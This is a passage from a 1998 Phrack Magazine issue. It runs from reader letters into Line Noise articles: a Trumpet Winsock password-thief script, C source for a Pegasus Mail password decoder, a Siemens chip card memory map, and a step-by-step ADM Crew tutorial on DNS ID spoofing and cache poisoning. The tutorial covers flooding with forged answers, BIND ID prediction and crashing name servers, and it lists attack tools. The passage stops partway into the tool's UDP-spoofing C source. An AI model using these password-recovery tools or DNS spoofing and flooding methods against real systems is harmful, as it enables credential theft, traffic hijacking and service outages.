[ If you have mastered the aforementioned topics, you are far greater then I. ]
|
||
|
||
I am learing socket programming and IP-spoofing now, do you have any resource
|
||
on the net to recommend to me?
|
||
Please write me back. Hoping to hear from you soon.
|
||
|
||
Liu Jiangyi
|
||
|
||
--
|
||
|
||
Daemon9,
|
||
Hi, I forgot to ask you another question. Should I join a hacker group?
|
||
And have you joined it? If so, please tell me which group I should join.
|
||
And the mailing list, which one should a hacker join in your own view.
|
||
Hoping to hear from you soon!
|
||
|
||
Liu Jiangyi
|
||
|
||
|
||
0x3b>-------------------------------------------------------------------------
|
||
|
||
[ A few letters to nirva and I. I swear to GOD these aren't made up. I
|
||
*couldn't* make stuff like this up. ]
|
||
|
||
Hey Route,
|
||
|
||
I was wondering if you knew what colours Nirva dyed his hair for
|
||
defcon and who made the dye, I was also wondering if you had a copy
|
||
of LISP lying around somewhere. Are you going to the KMFDM concert
|
||
this friday by any chance? I was wondering if you have ever been bust
|
||
for hacking or phreaking and how you manage to hack with the constant
|
||
surveillance by the man? Also if you don't mind telling me, how did
|
||
you get into hacking and did you have a mentor at any stage?
|
||
|
||
Ciao and thankx
|
||
|
||
--
|
||
|
||
Hey Nirva,
|
||
|
||
I was wondering how you got Real Kitty to drink coke out of those
|
||
bottles from McDonalds (or is he just chewing on the straw). I was
|
||
also wondering who Mike is currently going out with, not to mention
|
||
you as well? If you could do me a favour and try to convince Mike to
|
||
give me some webspace as well, I would really appreciate it.
|
||
|
||
Thankx and Ciao
|
||
|
||
--
|
||
|
||
Hey Mike,
|
||
|
||
How would you like to win a date win with carmen electra, if you
|
||
would like to, go on over to durex.com and there's a link from there
|
||
to the american site with the entry form to win the date, and being
|
||
such a brilliant hacker I don't see how you couldn't manage to rig
|
||
the contest ;)
|
||
|
||
Thankx and Ciao
|
||
|
||
0x3c>-------------------------------------------------------------------------
|
||
|
||
Arggh , think of me what you will, but i Can't get over a pic on yer
|
||
site of nirva, prolly one of the l33t3st looking individuals i've seen,
|
||
in personal appearance (no, i aint gay), but anyway .. what are those
|
||
things on his arms ? I saw that photo with the caption "nirva has
|
||
rickets" or something, but are they implants ? ie part of his
|
||
image/appearance or where they sum sort of weird disease he picked up ?
|
||
|
||
[ Due to the vitaman-D embargo of 1975 - 1978 in New Mexico, nirva contracted
|
||
the rare disease osteomalacia (rickets). He has it mostly licked these
|
||
days thanks to heavy amounts of vitamn-D laced EMF radition treatment he
|
||
undergoes 2 times a week. Every now and then, however, he lapses, as you
|
||
can see from the aforementioned picture. ]
|
||
|
||
tah man .. great page btw
|
||
|
||
speaxx
|
||
|
||
0x3d>-------------------------------------------------------------------------
|
||
|
||
----[ EOF
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 03 of 20
|
||
|
||
|
||
-------------------------[ P H R A C K 5 2 L I N E N O I S E
|
||
|
||
|
||
--------[ Various
|
||
|
||
0x1>-------------------------------------------------------------------------
|
||
|
||
Upon discovering Doctor Jeep's "Trumpet Winsock Password Hacker" in P51-03, I
|
||
felt obligated to share a small piece of code that I don't like to admit
|
||
that I created, far earlier than the esteemed Jeep's published work. As his
|
||
requires access to a Pascal compiler and does not seem to be coded with
|
||
portability in mind, the fact that my script requires Trumpet itself to run
|
||
does not seem too great a hindrance. The irony is that not only is the
|
||
"cipher" a simple obfuscating XOR, but that Trumpet itself will decode it
|
||
for you.
|
||
|
||
<++> password.cmd
|
||
# Put in Trumpet Winsock directory, run under "Dialer/Other"
|
||
# Cannot currently use any file other than trumpwsk.ini,
|
||
# apparently due to implementation errors in the "load" function
|
||
display \n
|
||
display "Trumpet Password Thief 1.0, 8-18-95"\n
|
||
display \n
|
||
if [load $username]
|
||
display "username: "
|
||
display $username\n
|
||
else
|
||
display "ERR: cannot load username"\n
|
||
end
|
||
if [load $password]
|
||
display "password: "
|
||
display $password\n
|
||
else
|
||
display "ERR: cannot load password"\n
|
||
end
|
||
display \n
|
||
<-->
|
||
|
||
- anonymous
|
||
|
||
0x2>-------------------------------------------------------------------------
|
||
|
||
Another password decoder for ya... written long ago, I just never bothered to
|
||
release it...
|
||
|
||
<++> peg-dec.c
|
||
/*
|
||
* Pegasus Mail Password Decoder v1.0 by Belgorath
|
||
*/
|
||
#include <stdio.h>
|
||
|
||
/* Decoding/Encoding Tables */
|
||
int dec1[1]= { 44 };
|
||
int dec2[2]= { 16, 21 };
|
||
int dec3[3]= { 10, 22, 28 };
|
||
int dec4[4]= { 37, 28, 21, 7 };
|
||
int dec5[5]= { 21, 22, 37, 28, 9 };
|
||
int dec6[6]= { 22, 15, 28, 42, 17, 2 };
|
||
int dec7[7]= { 15, 17, 21, 31, 0, 12, 19 };
|
||
int dec8[8]= { 9, 2, 7, 20, 44, 22, 28, 23 };
|
||
|
||
int *decz[8] = { dec1,dec2,dec3,dec4,dec5,dec6,dec7,dec8 };
|
||
|
||
int decode_char(int numch, int ch, int pos)
|
||
{
|
||
ch-=decz[numch-1][pos-1];
|
||
if(ch<-127) ch+=256;
|
||
return ch;
|
||
}
|
||
void main(void)
|
||
{
|
||
int zz,x,nc;
|
||
char *tz;
|
||
int inps[20];
|
||
|
||
nc=0;
|
||
tz=malloc(8192);
|
||
printf("Enter Pegasus Mail Password: ");
|
||
gets(tz);
|
||
|
||
/* Fun input parsing loop. Hope your malloc bzero's... */
|
||
while( *tz ) {
|
||
for(x=0;x<strlen(tz)+2;x++) {
|
||
if( (tz[x]==' ') || (tz[x]==0) ) {
|
||
tz[x]=0;
|
||
inps[nc]=atoi(tz);
|
||
nc++;
|
||
tz+=x+1;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
/* Throw away anything past the end */
|
||
for(x=0;x<nc;x++) if(inps[x]==-1) nc=x+1;
|
||
|
||
/* All pegasus passwords end in -1 */
|
||
if(inps[nc-1]!=-1) {
|
||
printf("Invalid Pegasus Mail Password.\n");
|
||
return;
|
||
}
|
||
|
||
/* But we throw it away anyway */
|
||
nc--;
|
||
|
||
printf("Decoded Password: [");
|
||
for(x=1;x<nc+1;x++) putchar(decode_char(nc,inps[x-1],x));
|
||
printf("]\n");
|
||
}
|
||
<-->
|
||
|
||
0x3>-------------------------------------------------------------------------
|
||
|
||
:----------------------------:
|
||
Siemens Chip Card Technology
|
||
|
||
. by Yggdrasil .
|
||
:----------------------------:
|
||
|
||
|
||
|
||
Chip cards differ from one another in memory size, type of memory (PROM or
|
||
EEPROM), security logic and micro-controller. This article will discuss the
|
||
Siemens SLE4404 chip card technology.
|
||
|
||
The SLE4404 is employed for electronic purse cards and bank transactions,
|
||
cellular telephony (pre-payed cards), user IDs for access control, etc. (some
|
||
examples: SmartCard, ViaCard and Italian Bancomat). Its data can be accessed
|
||
through a simple TTL serial channel, providing a +5 Vcc power supply from an
|
||
external source.
|
||
|
||
|
||
Inside the chip
|
||
~~~~~~~~~~~~~~~
|
||
The chipcard has at its disposal EEPROM memory consisting of a 416-bit matrix
|
||
(each row is 16-bits) that is protected by security logic providing access
|
||
control.
|
||
|
||
This is the logic diagram:
|
||
|
||
+------------------------+ +------------------+
|
||
| Address Counter | --> | Column Decoder |
|
||
+------------------------+ +------------------+
|
||
^ | | 16
|
||
| v v
|
||
+-----------+ +---------+ +------------------+
|
||
C3,C8,C2,C5 --> | Control & | | Row | | User mem 208 bit |
|
||
C1 (Vcc) --> | Security | | Decoder | --> | Sec unit 192 bit |
|
||
C7 (I/O) <--> | Logic | | | 26 | Special mem unit |
|
||
+-----------+ +---------+ +------------------+
|
||
^ ^
|
||
| |
|
||
+----------------------------------+
|
||
|
||
The SLE4404 memory is subdivided in three main memory blocks: one is read
|
||
only (a "PROM" containing the manufacturer code and/or a serial number and
|
||
an expiration date), the second is both readable and writeable (user memory)
|
||
and the last block cannot be written to unless the lock-out fuse has been
|
||
fused.
|
||
|
||
This is the memory map:
|
||
|
||
BLOCK TYPE SIZE (BIT) ADDRESS READABLE WRITEABLE ERASEABLE
|
||
-----------------------------------------------------------------------------
|
||
Manufacturer code 16 0-15 Yes No No
|
||
Application ROM 48 16-63 Yes No No
|
||
User code 16 64-79 [fuse] U.C. U.C.
|
||
Error counter 4 80-83 Yes Yes U.C.
|
||
EEPROM #1 12 84-95 Yes Yes U.C.
|
||
EEPROM #2 16 96-111 Yes U.C. U.C.
|
||
Frame memory block
|
||
- F.M. config 2 112-113 Yes Yes U.C./R.C.
|
||
- Frame memory 206 114-319 [cfg] [cfg] U.C./R.C.
|
||
Frame code 32 320-351 [fuse] [fuse] [cfg]
|
||
Frame counter 64 352-415 Yes Yes [cfg]
|
||
-----------------------------------------------------------------------------
|
||
|
||
Meaning of abbreviations:
|
||
|
||
U.C. - User code required
|
||
(each time the code is entered the error counter is decreased)
|
||
R.C. - Frame code required
|
||
(each time the code is entered the frame counter is decreased)
|
||
[fuse] - Operation allowed ONLY IF lock-out fuse is not fused
|
||
[cfg] - Operation allowed according to frame memory configuration
|
||
|
||
Frame memory configuration table:
|
||
|
||
BIT 112 BIT 113 MEMORY MODE READABLE WRITEABLE
|
||
-----------------------------------------------------------------------------
|
||
0 0 Secret ROM Yes No
|
||
0 1 R.O.M. Yes No
|
||
1 0 Secret PROM U.C. U.C.
|
||
1 1 P.R.O.M. U.C. U.C.
|
||
-----------------------------------------------------------------------------
|
||
|
||
The first 16-bit block is for the Manufacturer Code. The following 48-bit
|
||
block is called Application ROM, containing another code (Manufacturer sub
|
||
code or info, serial number, sub-type of card, etc).
|
||
|
||
The User Code is the access code (PIN) used to read/write/erase memory.
|
||
This code can be modified provided that the fuse was not fused, while the
|
||
error counter value can be modified even if the fuse was fused...
|
||
|
||
Please note that access to memory is blocked after four incorrect access
|
||
trials (checked by the counter). The same is for the Frame Code and the
|
||
Frame [error] Counter (note that the number of incorrect accesses is limited
|
||
to three trials instead of four).
|
||
|
||
Finally, the Frame Memory is generally used for storing personal user
|
||
information or the credit limit (money that can be fetched in a bank
|
||
transaction, or the remaining "virtual" credit that a pre-payed cellular card
|
||
contains).
|
||
|
||
|
||
The Pin-out
|
||
~~~~~~~~~~~
|
||
This is the Siemens SLE4404 pin-out (N.C. stands for Not Connected):
|
||
|
||
+-------+-------------------+
|
||
| C 1 | C 5 | Contact Pin Info
|
||
| | |
|
||
+-------+ +-------+ 1 6 Vcc +5V
|
||
| C 2 | | C 6 | 2 5 Reset
|
||
| | | | 3 4 Clock
|
||
+-------+ +-------+ 4 3 Test input - N.C.
|
||
| C 3 | | C 7 | 5 8 Ground
|
||
| | | | 6 7 N.C.
|
||
+-------+ +-------+ 7 1 Bi-directional I/O data line
|
||
| C 4 | | C 8 | 8 2 Control input (data change)
|
||
| | | |
|
||
+-------+-----------+-------+
|
||
|
||
"I am for ever walking upon these shores,
|
||
betwixt the sand and the foam.
|
||
The high tide will erase my foot-prints,
|
||
and the wind will blow away the foam.
|
||
But the sea and the shore will remain
|
||
For ever."
|
||
-- Gibran K. Gibran
|
||
|
||
0x4>-------------------------------------------------------------------------
|
||
___ ______ _ _
|
||
/ \ | _ \ | \ / |
|
||
| / \ | | | \ | | \_/ |
|
||
| |___| | | |_ / | | \_/ |
|
||
..oO THE | --- | | / | | | | CreW Oo..
|
||
''' ''' ''''''' '''' ''''
|
||
presents
|
||
|
||
DNS ID Hacking
|
||
|
||
|
||
--[1]-- DNS ID Hacking Presentation
|
||
|
||
You might be wondering what DNS ID Hacking (or Spoofing) is all about. DNS ID
|
||
Hacking isn't a usual way of hacking/spoofing such jizz or any-erect. This
|
||
method is based on a vulnerability on DNS Protocol. More brutal, the DNS ID
|
||
hack/spoof is very efficient and very strong as there is no generation of DNS
|
||
daemons that escapes from it (even WinNT!).
|
||
|
||
--[1.1]-- DNS Protocol mechanism explanation
|
||
|
||
In the first step, you must know how the DNS works. I will only explain the
|
||
most important facts of this protocol. In order to do that, we will follow
|
||
the way of a DNS request packet from A to Z!
|
||
|
||
Name resolution example:
|
||
The client (bla.bibi.com) sends a request of resolution of the domain
|
||
"www.heike.com". To resolve the name, bla.bibi.com uses "dns.bibi.com" for
|
||
DNS. Let's take a look at the following picture..
|
||
|
||
/---------------------------------\
|
||
| 111.1.2.123 = bla.bibi.com |
|
||
| 111.1.2.222 = dns.bibi.com |
|
||
| format: |
|
||
| IP_ADDR:PORT->IP_ADDR:PORT |
|
||
| ex: |
|
||
| 111.1.2.123:2999->111.1.2.222:53|
|
||
\---------------------------------/
|
||
...
|
||
gethosbyname("www.heike.com");
|
||
...
|
||
|
||
[bla.bibi.com] [dns.bibi.com]
|
||
111.1.2.123:1999 ---> [?www.heike.com] ------> 111.1.2.222:53
|
||
|
||
Here we see our resolution name request from source port 1999 which is asking
|
||
to DNS on port 53 (note: DNS is always on port 53). Now that dns.bibi.com has
|
||
received the resolution request from bla.bibi.com, dns.bibi.com will have to
|
||
resolve the name:
|
||
|
||
[dns.bibi.com] [ns.internic.net]
|
||
111.1.2.222:53 --------> [dns?www.heike.com] ----> 198.41.0.4:53
|
||
|
||
dns.bibi.com asks ns.internic.net who the root name server for the address
|
||
of www.heike.com is, and if it doesn't have it and sends the request to a name
|
||
server which has authority on '.com' domains (note: we send a request to the
|
||
Internic because it could have this request in its cache).
|
||
|
||
[ns.internic.net] [ns.bibi.com]
|
||
198.41.0.4:53 ------> [ns for.com is 144.44.44.4] ------> 111.1.2.222:53
|
||
|
||
Here we can see that ns.internic.net answered to ns.bibi.com (which is the DNS
|
||
that has authority over the domain bibi.com), that the name server of for.com
|
||
has the IP 144.44.44.4 (let's call it ns.for.com). Now our ns.bibi.com will
|
||
ask to ns.for.com for the address of www.heike.com, but this one doesn't have
|
||
it and will forward the request to the DNS of heike.com which has authority
|
||
for heike.com.
|
||
|
||
[ns.bibi.com] [ns.for.com]
|
||
111.1.2.222:53 ------> [?www.heike.com] -----> 144.44.44.4:53
|
||
|
||
The answer from ns.for.com:
|
||
|
||
[ns.for.com] [ns.bibi.com]
|
||
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4] ---> 144.44.44.4:53
|
||
|
||
Now that we know which IP address has authority on the domain "heike.com"
|
||
(we'll call it ns.heike.com), we ask it what's the IP of the machine
|
||
www.heike.com.
|
||
|
||
[ns.bibi.com] [ns.heike.com]
|
||
111.1.2.222:53 -----> [?www.heike.com] ----> 31.33.7.4:53
|
||
|
||
We now have our answer:
|
||
|
||
[ns.heike.com] [ns.bibi.com]
|
||
31.33.7.4:53 -------> [www.heike.com == 31.33.7.44] ----> 111.1.2.222:53
|
||
|
||
Great we have the answer, we can forward it to our client bla.bibi.com.
|
||
|
||
[ns.bibi.com] [bla.bibi.com]
|
||
111.1.2.222:53 -------> [www.heike.com == 31.33.7.44] ----> 111.1.2.123:1999
|
||
|
||
Now bla.bibi.com knows the IP of www.heike.com.
|
||
|
||
Now let's imagine that we'd like to have the name of a machine from its IP, in
|
||
order to do that, we proceed a bit differently as the IP will have to be
|
||
transformed.
|
||
|
||
Reverse name lookup resolution:
|
||
100.20.40.3 will become 3.40.20.100.in-addr.arpa
|
||
|
||
This method is only for the IP resolution request (reverse DNS).
|
||
|
||
Let's look at a practical example of when we take the IP address of
|
||
www.heike.com (31.33.7.44 or "44.7.33.31.in-addr.arpa" after the translation
|
||
into a comprehensible format by DNS).
|
||
|
||
...
|
||
gethostbyaddr("31.33.7.44");
|
||
...
|
||
|
||
We send our request to ns.bibi.com:
|
||
|
||
[bla.bibi.com] [ns.bibi.com]
|
||
111.1.2.123:2600 -----> [?44.7.33.31.in-addr.arpa] -----> 111.1.2.222:53
|
||
|
||
Which is forwarded to ns.internic.net:
|
||
|
||
[ns.bibi.com] [ns.internic.net]
|
||
111.1.2.222:53 -----> [?44.7.33.31.in-addr.arpa] ------> 198.41.0.4:53
|
||
|
||
ns.internic.net will send the IP of a name server which has authority on
|
||
'31.in-addr.arpa'.
|
||
|
||
[ns.internic.net] [ns.bibi.com]
|
||
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53
|
||
|
||
Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4:
|
||
|
||
[ns.bibi.com] [ns.for.com]
|
||
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53
|
||
|
||
And so on. The mechanism is nearly the same that was used for name resolution.
|
||
|
||
--[1.2]-- DNS packet header
|
||
|
||
Here is the format of a DNS message :
|
||
+---------------------------+---------------------------+
|
||
| ID (the famous :) | flags |
|
||
+---------------------------+---------------------------+
|
||
| numbers of questions | numbers of answer |
|
||
+---------------------------+---------------------------+
|
||
| number of RR authority |number of supplementary RR |
|
||
+---------------------------+---------------------------+
|
||
| |
|
||
\ \
|
||
\ QUESTION \
|
||
| |
|
||
+-------------------------------------------------------+
|
||
| |
|
||
\ \
|
||
\ ANSWER \
|
||
| |
|
||
+-------------------------------------------------------+
|
||
| |
|
||
\ \
|
||
\ Stuff etc.. No matter \
|
||
| |
|
||
+-------------------------------------------------------+
|
||
|
||
--[1.3]-- Structure of DNS packets.
|
||
|
||
__ID__
|
||
|
||
The ID permits us to identify each DNS packet, since exchanges between name
|
||
servers are from port 53 to port 53, and more it might be more than one
|
||
request at a time, so the ID is the only way to recognize the different DNS
|
||
requests. Well talk about it later..
|
||
|
||
__flags__
|
||
|
||
The flags area is divided into several parts :
|
||
|
||
4 bits 3 bits (always 0)
|
||
| |
|
||
| |
|
||
[QR | opcode | AA| TC| RD| RA | zero | rcode ]
|
||
|
|
||
| |__|__|__| |______ 4 bits
|
||
| |_ 1 bit
|
||
|
|
||
1 bit
|
||
|
||
QR = If the QR bit = 0, it means that the packet is a question, otherwise
|
||
it's an answer.
|
||
|
||
opcode = If the value is 0 for a normal request, 1 for a reserve request, and
|
||
2 for a status request (we don't need to know all these modes).
|
||
|
||
AA = If it's equal to 1, it says that the name server has an authoritative
|
||
answer.
|
||
|
||
TC = No matter
|
||
|
||
RD = If this flag is to 1, it means "Recursion Request", for example when
|
||
bla.bibi.com asks ns.bibi.com to resolve the name, the flag tells the
|
||
DNS to assume this request.
|
||
|
||
RA = If it's set to 1, it means that recursion is available. This bit is
|
||
set to 1 in the answer of the name server if it supports recursion.
|
||
|
||
Zero = Here are three zeroes...
|
||
|
||
rcode = It contains the return error messages for DNS requests if 0, it means
|
||
"no error", 3 means "name error"
|
||
|
||
The 2 following flags don't have any importance for us.
|
||
|
||
DNS QUESTION:
|
||
|
||
Here is the format of a DNS question :
|
||
|
||
+-----------------------------------------------------------------------+
|
||
| name of the question |
|
||
+-----------------------------------------------------------------------+
|
||
| type of question | type of query |
|
||
+--------------------------------+--------------------------------------+
|
||
|
||
The structure of the question is like this.
|
||
|
||
example:
|
||
www.heike.com will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]
|
||
for an IP address, the format remains the same.
|
||
|
||
44.33.88.123.in-addr.arpa would be:
|
||
[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0]
|
||
[note]: a compression format exists, but we won't cover it.
|
||
|
||
|
||
type of question:
|
||
|
||
Here are the values that we will use much of the time (there are many more,
|
||
but these are only ones relevant):
|
||
|
||
name value
|
||
A | 1 | IP Address (resolving a name to an IP)
|
||
PTR | 12 | Pointer (resolving an IP to a name)
|
||
|
||
|
||
type of query:
|
||
|
||
The values are the same as the type of question.
|
||
|
||
DNS ANSWER:
|
||
|
||
Here is the format of an answer (an RR)
|
||
|
||
+------------------------------------------------------------------------+
|
||
| name of the domain |
|
||
+------------------------------------------------------------------------+
|
||
| type | class |
|
||
+----------------------------------+-------------------------------------+
|
||
| TTL (time to live) |
|
||
+------------------------------------------------------------------------+
|
||
| resource data length | |
|
||
|----------------------------+ |
|
||
| resource data |
|
||
+-------------------------------------------------------------------------
|
||
|
||
name of the domain:
|
||
|
||
The name of the domain in reports to the following resource: The domain name
|
||
is stored in the same way that the part question for the resolution request of
|
||
www.heike.com, the flag "name of the domain" will contain
|
||
[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0].
|
||
|
||
type:
|
||
|
||
The type flag is the same than "type of query" in the question part of the
|
||
packet.
|
||
|
||
class:
|
||
The class flag is equal to 1 for Internet data.
|
||
|
||
time to live:
|
||
This flag explains in seconds the time-life of the information into the
|
||
name server cache.
|
||
|
||
resource data length:
|
||
The length of resource data, for example if resource data length is 4, it
|
||
means that the data in resources data are 4 bytes long.
|
||
|
||
resource data:
|
||
here we put the IP for example (at least in our case)
|
||
|
||
I will offer you a little example that explains this better:
|
||
|
||
Here is what's happening when ns.bibi.com asks ns.heike.com for
|
||
www.heike.com's address
|
||
|
||
ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;)
|
||
|
||
+---------------------------------+--------------------------------------+
|
||
| ID = 1999 | QR = 0 opcode = 0 RD = 1 |
|
||
+---------------------------------+--------------------------------------+
|
||
| numbers of questions = htons(1) | numbers of answers = 0 |
|
||
+---------------------------------+--------------------------------------+
|
||
| number of RR authoritative = 0 | number of supplementary RR = 0 |
|
||
+---------------------------------+--------------------------------------+
|
||
<the question part>
|
||
+------------------------------------------------------------------------+
|
||
| name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
|
||
+------------------------------------------------------------------------+
|
||
| type of question = htons(1) | type of query=htons(1) |
|
||
+---------------------------------+--------------------------------------+
|
||
|
||
here is for the question.
|
||
|
||
now let's stare the answer of ns.heike.com
|
||
|
||
ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53
|
||
|
||
+---------------------------------+---------------------------------------+
|
||
| ID = 1999 | QR=1 opcode=0 RD=1 AA =1 RA=1 |
|
||
+---------------------------------+---------------------------------------+
|
||
| numbers of questions = htons(1) | numbers of answers = htons(1) |
|
||
+---------------------------------+---------------------------------------+
|
||
| number of RR authoritative = 0 | number of supplementary RR = 0 |
|
||
+---------------------------------+---------------------------------------+
|
||
+-------------------------------------------------------------------------+
|
||
| name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
|
||
+-------------------------------------------------------------------------+
|
||
| type of question = htons(1) | type of query = htons(1) |
|
||
+-------------------------------------------------------------------------+
|
||
+-------------------------------------------------------------------------+
|
||
| name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |
|
||
+-------------------------------------------------------------------------+
|
||
| type = htons(1) | class = htons(1) |
|
||
+-------------------------------------------------------------------------+
|
||
| time to live = 999999 |
|
||
+-------------------------------------------------------------------------+
|
||
| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |
|
||
+-------------------------------------------------------------------------+
|
||
|
||
Yah! That's all for now :))
|
||
|
||
Here is an analysis:
|
||
In the answer QR = 1 because it's an answer :)
|
||
AA = 1 because the name server has authority in its domain
|
||
RA = 1 because recursion is available
|
||
|
||
Good =) I hope you understood that cause you will need it for the following
|
||
events.
|
||
|
||
--[2.0]-- DNS ID hack/spoof
|
||
|
||
Now it's time to explain clearly what DNS ID hacking/spoofing is.
|
||
Like I explained before, the only way for the DNS daemon to recognize
|
||
the different questions/answers is the ID flag in the packet. Look at this
|
||
example:
|
||
|
||
ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53
|
||
|
||
So you only have to spoof the ip of ns.heike.com and answer your false
|
||
information before ns.heike.com to ns.bibi.com!
|
||
|
||
ns.bibi.com <------- . . . . . . . . . . . ns.heike.com
|
||
|
|
||
|<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com
|
||
|
||
But in practice you have to guess the good ID :) If you are on a LAN, you
|
||
can sniff to get this ID and answer before the name server (it's easy on a
|
||
Local Network :)
|
||
|
||
If you want to do this remotely you don't have a lot a choices, you only
|
||
have 4 basics methods:
|
||
|
||
1.) Randomly test all the possible values of the ID flag. You must answer
|
||
before the ns ! (ns.heike.com in this example). This method is obsolete
|
||
unless you want to know the ID .. or any other favorable condition to
|
||
its prediction.
|
||
|
||
2.) Send some DNS requests (200 or 300) in order to increase the chances
|
||
of falling on the good ID.
|
||
|
||
3.) Flood the DNS in order to avoid its work. The name server will crash
|
||
and show the following error!
|
||
|
||
>> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT
|
||
at this time named daemon is out of order :)
|
||
|
||
4.) Or you can use the vulnerability in BIND discovered by SNI (Secure
|
||
Networks, Inc.) with ID prediction (we will discuss this in a bit).
|
||
|
||
|
||
##################### Windows ID Vulnerability ###########################
|
||
|
||
I found a heavy vulnerability in Windows 95 (I haven't tested it on
|
||
WinNT), lets imagine my little friend that's on Windows 95.
|
||
Windows ID's are extremely easy to predict because it's "1" by default :)))
|
||
and "2" for the second question (if they are 2 questions at the same time).
|
||
|
||
|
||
######################## BIND Vulnerability ##############################
|
||
|
||
There is a vulnerability in BIND (discovered by SNI as stated earlier).
|
||
In fact, DNS IS are easily predictable, you only have to sniff a DNS in
|
||
order to do what you want. Let me explain...
|
||
|
||
The DNS uses a random ID at the beginning but it only increase this ID for
|
||
next questions ... =)))
|
||
|
||
It's easy to exploit this vulnerability.
|
||
Here is the way:
|
||
|
||
1. Be able to sniff easily the messages that comes to a random DNS (ex.
|
||
ns.dede.com for this sample).
|
||
|
||
2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will
|
||
ask to ns.dede.com to resolve (random).dede.com
|
||
|
||
ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com
|
||
|
||
3. Now you have the ID of the message from NS.victim.com, now you know what
|
||
ID area you'll have to use. (ID = 444 in this sample).
|
||
|
||
4. You then make your resolution request. ex. www.microsoft.com to
|
||
NS.victim.com
|
||
|
||
(you) ---> [?www.microsoft.com] ---> ns.victim.com
|
||
|
||
ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com
|
||
|
||
5. Flood the name server ns.victim.com with the ID (444) you already have and
|
||
then you increase this one.
|
||
|
||
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com
|
||
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com
|
||
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com
|
||
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com
|
||
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com
|
||
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com
|
||
|
||
|
||
(now you know that DNS IDs are predictable, and they only increase. You
|
||
flood ns.victim.com with spoofed answers with the ID 444+ ;)
|
||
|
||
*** ADMsnOOfID does this.
|
||
|
||
|
||
There is another way to exploit this vulnerability without a root on
|
||
any DNS
|
||
|
||
The mechanism is very simple. Here is the explanation
|
||
|
||
We send to ns.victim.com a resolution request for *.provnet.fr
|
||
|
||
(you) ----------[?(random).provnet.fr] -------> ns.victim.com
|
||
|
||
Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr.
|
||
There is nothing new here, but the interesting part begins here.
|
||
|
||
From this point you begin to flood ns.victim.com with spoofed answers
|
||
(with ns1.provnet.fr IP) with ids from 100 to 110...
|
||
|
||
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com
|
||
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com
|
||
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com
|
||
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com
|
||
.....
|
||
|
||
After that, we ask ns.victim.com if (random).provnet.fr has an IP.
|
||
|
||
If ns.victim.com give us an IP for (random).provnet.fr then we have
|
||
found the correct ID :) Otherwise we have to repeat this attack until we
|
||
find the ID. It's a bit long but it's effective. And nothing forbids you
|
||
to do this with friends ;)
|
||
|
||
This is how ADMnOg00d works ;)
|
||
|
||
-------------------------------
|
||
|
||
|
||
|
||
##########################################################################
|
||
|
||
Here you will find 5 programs
|
||
ADMkillDNS - very simple DNS spoofer
|
||
ADMsniffID - sniff a LAN and reply false DNS answers before the NS
|
||
ADMsnOOfID - a DNS ID spoofer (you'll need to be root on a NS)
|
||
ADMnOg00d - a DNS ID predictor (no need to be root on a NS)
|
||
ADNdnsfuckr - a very simple denial of service attack to disable DNS
|
||
|
||
Have fun!! :)
|
||
Note: You can find source and binaries of this progs at
|
||
ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would
|
||
be on janova. You need to install libpcap on your machine before any
|
||
compilation of the ADMID proggies :)
|
||
|
||
|
||
ADM Crew.
|
||
|
||
Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love
|
||
these guys)
|
||
Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at
|
||
www.secnet.com for finding the vulnerability =)
|
||
|
||
<++> ADMIDpack/ADM-spoof.c
|
||
/************************************************************************/
|
||
/* ADM spoofing routine for spoof udp */
|
||
/************************************************************************/
|
||
|
||
#define IPHDRSIZE sizeof(struct iphdr)
|
||
#define UDPHDRSIZE sizeof(struct udphdr)
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <memory.h>
|
||
|
||
#include <sys/types.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/wait.h>
|
||
#include <sys/ioctl.h>
|
||
#include <sys/stat.h>
|
||
#include <netdb.h>
|
||
#include <netinet/in.h>
|
||
#include "ip.h"
|
||
#include "udp.h"
|
||
|
||
|
||
/*****************************************************************************/
|
||
/*
|
||
* in_cksum --
|
||
* Checksum routine for Internet Protocol family headers (C Version)
|
||
*/
|
||
/*****************************************************************************/
|
||
|
||
unsigned short in_cksum(addr, len)
|
||
u_short *addr;
|
||
int len;
|
||
{
|
||
